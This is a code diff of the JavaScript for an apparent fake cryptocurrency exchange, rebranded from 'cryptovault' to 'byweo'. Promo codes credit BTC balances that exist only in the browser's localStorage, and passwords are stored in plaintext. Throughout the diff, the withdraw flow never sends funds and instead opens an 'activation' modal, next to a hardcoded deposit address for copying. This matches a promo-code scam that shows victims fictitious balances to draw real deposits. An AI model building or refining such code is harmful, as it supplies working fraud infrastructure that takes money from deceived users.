Upload script.js

script.js

@@ -48,11 +48,11 @@ function handleLogin(e) {
   const username = document.getElementById("loginUsername").value
   const password = document.getElementById("loginPassword").value
 
-  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+  const users = JSON.parse(localStorage.getItem("byweo_users") || "{}")
 
   if (users[username] && users[username].password === password) {
     currentUser = username
-    localStorage.setItem("cryptovault_current_user", username)
+    localStorage.setItem("byweo_current_user", username)
     showNotification("Login successful!", "success")
     setTimeout(() => {
       window.location.href = "dashboard.html"
@@ -75,7 +75,7 @@ function handleRegister(e) {
     return
   }
 
-  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+  const users = JSON.parse(localStorage.getItem("byweo_users") || "{}")
 
   if (users[username]) {
     showNotification("Username already exists!", "error")
@@ -90,7 +90,7 @@ function handleRegister(e) {
     createdAt: new Date().toISOString(),
   }
 
-  localStorage.setItem("cryptovault_users", JSON.stringify(users))
+  localStorage.setItem("byweo_users", JSON.stringify(users))
   showNotification("Account created successfully!", "success")
 
   setTimeout(() => {
@@ -100,7 +100,7 @@ function handleRegister(e) {
 
 // Dashboard functions
 function initDashboard() {
-  currentUser = localStorage.getItem("cryptovault_current_user")
+  currentUser = localStorage.getItem("byweo_current_user")
 
   if (!currentUser) {
     window.location.href = "index.html"
@@ -108,14 +108,10 @@ function initDashboard() {
   }
 
   updateDashboard()
-  initTradingChart()
-
-  // Update BTC price periodically
-  setInterval(updateBTCPrice, 5000)
 }
 
 function updateDashboard() {
-  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+  const users = JSON.parse(localStorage.getItem("byweo_users") || "{}")
   const userData = users[currentUser]
 
   if (!userData) {
@@ -123,15 +119,19 @@ function updateDashboard() {
     return
   }
 
-  document.getElementById("welcomeMessage").textContent = `Welcome, ${currentUser}`
-  document.getElementById("btcBalance").textContent = userData.btcBalance.toFixed(8)
-  document.getElementById("withdrawBalance").textContent = userData.btcBalance.toFixed(8)
-
+  // Update balance displays
+  const btcBalance = userData.btcBalance.toFixed(6)
   const usdValue = (userData.btcBalance * BTC_PRICE).toFixed(2)
+
+  document.getElementById("btcBalance").textContent = btcBalance
   document.getElementById("usdBalance").textContent = usdValue
+  document.getElementById("spotBalance").textContent = `${btcBalance} BTC`
+  document.getElementById("btcSpotBalance").textContent = `${btcBalance} BTC`
+  document.getElementById("btcAvailableBalance").textContent = `${btcBalance} BTC`
+  document.getElementById("btcTotalBalance").textContent = `${btcBalance} BTC`
 }
 
-function redeemPromo() {
+function redeemPromoCode() {
   const promoCode = document.getElementById("promoCode").value.trim()
 
   if (!promoCode) {
@@ -139,7 +139,7 @@ function redeemPromo() {
     return
   }
 
-  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+  const users = JSON.parse(localStorage.getItem("byweo_users") || "{}")
   const userData = users[currentUser]
 
   if (userData.redeemedCodes.includes(promoCode)) {
@@ -152,7 +152,7 @@ function redeemPromo() {
     userData.btcBalance += btcReward
     userData.redeemedCodes.push(promoCode)
 
-    localStorage.setItem("cryptovault_users", JSON.stringify(users))
+    localStorage.setItem("byweo_users", JSON.stringify(users))
 
     showNotification(`Success! ${btcReward} BTC added to your account!`, "success")
     document.getElementById("promoCode").value = ""
@@ -162,8 +162,16 @@ function redeemPromo() {
   }
 }
 
-function initiateWithdraw() {
-  const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
+function showDepositModal() {
+  document.getElementById("depositModal").style.display = "block"
+}
+
+function closeDepositModal() {
+  document.getElementById("depositModal").style.display = "none"
+}
+
+function showWithdrawModal() {
+  const users = JSON.parse(localStorage.getItem("byweo_users") || "{}")
   const userData = users[currentUser]
 
   if (userData.btcBalance <= 0) {
@@ -172,132 +180,61 @@ function initiateWithdraw() {
   }
 
   document.getElementById("withdrawModal").style.display = "block"
-  document.getElementById("withdrawAmount").max = userData.btcBalance.toFixed(8)
 }
 
 function closeWithdrawModal() {
   document.getElementById("withdrawModal").style.display = "none"
-  document.getElementById("withdrawForm").reset()
-}
-
-function closeVerificationModal() {
-  document.getElementById("verificationModal").style.display = "none"
 }
 
-// Handle withdraw form submission
-document.addEventListener("DOMContentLoaded", () => {
-  const withdrawForm = document.getElementById("withdrawForm")
-  if (withdrawForm) {
-    withdrawForm.addEventListener("submit", (e) => {
-      e.preventDefault()
-
-      const walletAddress = document.getElementById("walletAddress").value
-      const walletType = document.getElementById("walletType").value
-      const amount = Number.parseFloat(document.getElementById("withdrawAmount").value)
-
-      if (!walletAddress || !walletType || !amount) {
-        showNotification("Please fill all fields!", "error")
-        return
-      }
-
-      const users = JSON.parse(localStorage.getItem("cryptovault_users") || "{}")
-      const userData = users[currentUser]
+function processWithdraw() {
+  const coinSelect = document.getElementById("coinSelect").value
+  const networkSelect = document.getElementById("networkSelect").value
 
-      if (amount > userData.btcBalance) {
-        showNotification("Insufficient balance!", "error")
-        return
-      }
+  if (!coinSelect || coinSelect === "Select a coin to withdraw...") {
+    showNotification("Please select a coin!", "error")
+    return
+  }
 
-      closeWithdrawModal()
-      document.getElementById("verificationModal").style.display = "block"
-    })
+  if (!networkSelect || networkSelect === "Select a network...") {
+    showNotification("Please select a network!", "error")
+    return
   }
-})
 
-function copyAddress() {
-  const address = "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
-  navigator.clipboard.writeText(address).then(() => {
-    showNotification("Address copied to clipboard!", "success")
-  })
+  closeWithdrawModal()
+  document.getElementById("activationModal").style.display = "block"
 }
 
-function logout() {
-  localStorage.removeItem("cryptovault_current_user")
-  window.location.href = "index.html"
+function closeActivationModal() {
+  document.getElementById("activationModal").style.display = "none"
 }
 
-// Trading chart functions
-function initTradingChart() {
-  const canvas = document.getElementById("tradingChart")
-  if (!canvas) return
-
-  const ctx = canvas.getContext("2d")
-  const width = canvas.width
-  const height = canvas.height
-
-  // Generate fake price data
-  const dataPoints = 50
-  const priceData = []
-  let currentPrice = BTC_PRICE
-
-  for (let i = 0; i < dataPoints; i++) {
-    const change = (Math.random() - 0.5) * 1000
-    currentPrice += change
-    priceData.push(currentPrice)
-  }
-
-  // Draw chart
-  ctx.clearRect(0, 0, width, height)
-  ctx.strokeStyle = "#00ff88"
-  ctx.lineWidth = 2
-  ctx.beginPath()
-
-  const minPrice = Math.min(...priceData)
-  const maxPrice = Math.max(...priceData)
-  const priceRange = maxPrice - minPrice
-
-  for (let i = 0; i < priceData.length; i++) {
-    const x = (i / (priceData.length - 1)) * width
-    const y = height - ((priceData[i] - minPrice) / priceRange) * height
-
-    if (i === 0) {
-      ctx.moveTo(x, y)
-    } else {
-      ctx.lineTo(x, y)
-    }
-  }
-
-  ctx.stroke()
-
-  // Add glow effect
-  ctx.shadowColor = "#00ff88"
-  ctx.shadowBlur = 10
-  ctx.stroke()
+function copyAddress() {
+  const address = "1J8Be2eVqDAvEQDqRqPfropJSrmxLZYG"
+  navigator.clipboard
+    .writeText(address)
+    .then(() => {
+      showNotification("Address copied to clipboard!", "success")
+    })
+    .catch(() => {
+      showNotification("Failed to copy address!", "error")
+    })
 }
 
-function updateBTCPrice() {
-  const priceElement = document.getElementById("btcPrice")
-  if (!priceElement) return
-
-  // Simulate price changes
-  const change = (Math.random() - 0.5) * 100
-  const newPrice = BTC_PRICE + change
-
-  priceElement.textContent = `$${newPrice.toFixed(2)}`
-
-  // Update price change indicator
-  const changeElement = document.querySelector(".price-change")
-  if (changeElement) {
-    const changePercent = ((change / BTC_PRICE) * 100).toFixed(2)
-    changeElement.textContent = `${changePercent >= 0 ? "+" : ""}${changePercent}%`
-    changeElement.className = `price-change ${changePercent >= 0 ? "positive" : "negative"}`
-  }
+function logout() {
+  localStorage.removeItem("byweo_current_user")
+  window.location.href = "index.html"
 }
 
 // Notification system
 function showNotification(message, type = "info") {
-  const notification = document.getElementById("notification")
-  if (!notification) return
+  // Create notification element if it doesn't exist
+  let notification = document.getElementById("notification")
+  if (!notification) {
+    notification = document.createElement("div")
+    notification.id = "notification"
+    notification.className = "notification"
+    document.body.appendChild(notification)
+  }
 
   notification.textContent = message
   notification.className = `notification ${type}`
@@ -310,14 +247,35 @@ function showNotification(message, type = "info") {
 
 // Close modals when clicking outside
 window.onclick = (event) => {
+  const depositModal = document.getElementById("depositModal")
   const withdrawModal = document.getElementById("withdrawModal")
-  const verificationModal = document.getElementById("verificationModal")
+  const activationModal = document.getElementById("activationModal")
+
+  if (event.target === depositModal) {
+    closeDepositModal()
+  }
 
   if (event.target === withdrawModal) {
     closeWithdrawModal()
   }
 
-  if (event.target === verificationModal) {
-    closeVerificationModal()
+  if (event.target === activationModal) {
+    closeActivationModal()
   }
 }
+
+// Add floating animation to crypto coins
+document.addEventListener("DOMContentLoaded", () => {
+  const btcCoin = document.querySelector(".btc-coin")
+  const ethCoin = document.querySelector(".eth-coin")
+
+  if (btcCoin && ethCoin) {
+    // Add some randomness to the floating animation
+    setInterval(() => {
+      if (Math.random() > 0.5) {
+        btcCoin.style.transform = `translateY(${Math.random() * 10 - 5}px)`
+        ethCoin.style.transform = `translateY(${Math.random() * 10 - 5}px)`
+      }
+    }, 2000)
+  }
+})